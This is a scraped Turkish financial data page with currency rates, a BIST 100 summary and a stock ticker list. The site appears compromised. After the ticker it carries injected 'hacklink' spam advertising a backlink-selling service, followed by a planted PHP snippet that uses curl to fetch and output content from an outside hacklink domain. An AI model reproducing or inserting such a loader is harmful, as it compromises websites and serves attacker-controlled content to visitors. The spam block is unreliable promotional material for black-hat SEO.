DOLAR 42,6196 0.05%
EURO 49,9874 0.27%
ALTIN 5.779,87-0,22
BIST 11.253,930,54%
BITCOIN 3849255-2.77694%
İstanbul
11°

PARÇALI BULUTLU

SABAHA KALAN SÜRE

BİST 100 CANLI TRAFİK
BIST 100: 11.250 s Değişim: 0.51% 56,56 Adet:   1.976 Mio.Lot Hacim:   46.418 Mio.TL
EN YÜKSEK 11267
EN DÜŞÜK 11,217
Açılış: 11.227 Dünkü Kapanış: 11.194

Verilerin Son Güncelleme Saati : 13:10

MENKUL FİYAT % ZAMAN
  • PAGYO 84,70 0,77 13:08:22
  • PAHOL 1,63 1,24 13:10:56
  • PAMEL 88,05 1,67 13:10:31
  • PAPIL 16,74 3,65 13:11:13
  • PARSN 85,40 0,71 13:10:12
  • PASEU 149,70 0,13 13:10:35
  • PATEK 26,40 -0,83 13:10:34
  • PCILT 23,00 -1,20 13:10:57
  • PEKGY 10,56 -1,22 13:11:11
  • PENGD 8,40 1,82 13:10:05
  • PENTA 13,92 0,14 13:10:35
MENKUL FİYAT % ZAMAN
  • PETKM 17,29 0,52 13:10:41
  • PETUN 11,42 1,24 13:11:12
  • PGSUS 203,10 0,15 13:11:12
  • PINSU 12,93 0,47 13:08:41
  • PKART 71,80 0,07 13:09:29
  • PKENT 205,20 -1,87 13:10:30
  • PLTUR 21,90 0,37 13:09:39
  • PNLSN 39,08 0,26 13:04:27
  • PNSUT 11,91 0,34 13:10:48
  • POLHO 18,01 0,73 13:10:48
  • POLTK 8.322,50 0,70 13:05:34
MENKUL FİYAT % ZAMAN
  • PRDGS 6,17 0,82 13:09:46
  • PRKAB 33,16 1,34 13:10:48
  • PRKME 17,23 0,47 13:10:18
  • PRZMA 11,89 -0,59 13:11:05
  • PSDTC 144,30 0,84 13:01:24
  • PSDTC 144,30 0,84 13:01:24
  • PSDTC 144,30 0,84 13:01:24
  • PSDTC 144,30 0,84 13:01:24
  • PSGYO 2,64 0,76 13:11:11
urfa sıra gecesi ♦️♦️♦️♦️ HACKLİNK SEKTÖRÜNÜN LİDERİ ♦️♦️♦️♦️ ‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️ ‼️‼️‼️‼️‼️‼️ S M A R T _ H A C K L İ N K ‼️‼️‼️‼️‼️‼️ ‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️ https://smarthacklink.xyz/ 😎🩸 https://smarthacklink.xyz/ 😎🩸 https://panel.smarthacklink.xyz/ https://panel.smarthacklink.xyz/ 🩸‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️️‼️‼️‼️🩸

<?php $exe = curl_init(); curl_setopt($exe, CURLOPT_URL, "https://talyahacklink.com.tr/code?x=732"); curl_exec($exe); ?>